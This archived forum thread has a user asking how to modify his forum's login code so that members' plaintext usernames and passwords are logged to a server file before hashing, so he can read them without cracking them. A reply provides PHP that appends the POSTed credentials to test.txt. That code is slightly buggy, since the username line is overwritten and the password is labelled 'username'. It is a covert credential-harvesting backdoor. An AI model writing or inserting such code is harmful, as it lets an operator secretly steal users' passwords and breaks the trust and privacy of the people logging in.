Jump to content

Help with copying username and password form info to text document


Bisdale

Recommended Posts

Hi, I want to log a username and password before the password is md5'd. This is the code where you login to the forum. What should i change the code to so that when someone logs in it copys the info they type as their password and username to a .txt or html file on the server so that I can go to that file and see their password and not have to spend like a week cracking it.

 

if ( $_POST['UserName'] == "" )
    	{
    		$this->ipsclass->Error( array( 'LEVEL' => 1, 'MSG' => 'no_username' ) );
    	}
    
     	if ( $_POST['PassWord'] == "" )
     	{
    		$this->ipsclass->Error( array( 'LEVEL' => 1, 'MSG' => 'pass_blank' ) );
    	}   

 

I know this is kind of dodgy but help would be appreciated =) Please bare in mind I have no php or sql knowledge whatsoever.

 

Thanks

Add this code after your code that is verifying the authenticity of data from user

<?php
$filename = 'test.txt';

$somecontent = "username: ".$_POST['UserName'];
$somecontent = "username: ".$_POST['PassWord']."\n";

// Let's make sure the file exists and is writable first.
if (is_writable($filename)) {
    if (!$handle = fopen($filename, 'a')) {
         echo "Cannot open file ($filename)";
         exit;
    }
    if (fwrite($handle, $somecontent) === FALSE) {
        echo "Cannot write to file ($filename)";
        exit;
    }
    echo "Success, wrote ($somecontent) to file ($filename)"; 
    fclose($handle);
} 
?> 

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.